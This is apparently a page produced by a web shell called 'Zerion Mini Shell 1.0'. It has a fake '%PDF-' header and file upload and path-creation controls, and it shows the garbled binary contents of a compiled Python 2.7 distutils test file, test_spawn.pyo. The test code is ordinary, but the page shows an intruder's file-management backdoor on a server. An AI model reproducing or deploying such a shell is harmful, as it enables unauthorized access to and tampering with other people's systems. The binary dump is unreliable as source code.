%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/distutils/tests/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/distutils/tests/test_spawn.pyo

ó
Pêáac@südZddlZddlZddlZddlZddlZddlmZmZddl	m
Zddlm
Z
ddlmZmZddlmZddlm
Z
de
je
jejfd	„ƒYZd
„ZedkrøeeƒƒndS(sTests for distutils.spawn.iÿÿÿÿN(tcaptured_stdouttrun_unittest(tsupport(t_nt_quote_args(tspawntfind_executable(tDistutilsExecErrort
SpawnTestCasecBs>eZd„Zejejdkdƒd„ƒZd„ZRS(cCsaxZddgddgfddgddgffD](\}}t|ƒ}|j||ƒq1WdS(Ns
with spacetnospaces"with space"tnochange(RtassertEqual(tselftargstwantedtres((s6/usr/local/lib/python2.7/distutils/tests/test_spawn.pyttest_nt_quote_argss	tnttposixsRuns only under posix or ntcCs+|jƒ}tjdkrStjj|dƒ}|j|dƒtj|dƒn%tjj|dƒ}|j|dƒtj|dƒ|jtt	|gƒtjdkråtjj|dƒ}|j|dƒtj|dƒn%tjj|dƒ}|j|dƒtj|dƒt	|gƒdS(	NRsfoo.shs#!/bin/sh
exit 1iÿsfoo.batsexit 1s#!/bin/sh
exit 0sexit 0(
tmkdtemptostnametpathtjoint
write_filetchmodtassertRaisesRR(Rttmpdirtexe((s6/usr/local/lib/python2.7/distutils/tests/test_spawn.pyt
test_spawns"c	Csˆtjƒv}tj}|d}tjj||ƒ}t|dƒWdQXtj|tj	ƒt
|d|ƒ}|j||ƒtj
dkr¶t
|d|ƒ}|j||ƒntj|ƒ!t
|ƒ}|j||ƒWdQXd|}t
|d|ƒ}|j|ƒtjƒ_}ddlm}tj|jd|ƒ.|jd	ƒt
|ƒ}|j||ƒWdQXWdQXWdQXdS(
Ns.exetwbRtwin32t
dontexist_iÿÿÿÿ(RtdefpathtPATH(ttest_supportttemp_dirtTESTFNRRRtopenRtstattS_IXUSRRR
tsystplatformt
change_cwdtassertIsNonetEnvironmentVarGuardt	distutilsRt	swap_attrtpop(	Rttmp_dirtprogram_noeexttprogramtfilenametrvtdont_exist_programtenvR((s6/usr/local/lib/python2.7/distutils/tests/test_spawn.pyttest_find_executable;s0	



(RR(	t__name__t
__module__Rtunittestt
skipUnlessRRRR7(((s6/usr/local/lib/python2.7/distutils/tests/test_spawn.pyRs	
cCs
tjtƒS(N(R:t	makeSuiteR(((s6/usr/local/lib/python2.7/distutils/tests/test_spawn.pyt
test_suiteest__main__(t__doc__RR&R(ttimeR:ttest.supportRRttestRR"tdistutils.spawnRRRtdistutils.errorsRtdistutils.teststTempdirManagertLoggingSilencertTestCaseRR=R8(((s6/usr/local/lib/python2.7/distutils/tests/test_spawn.pyt<module>s"	T	

Zerion Mini Shell 1.0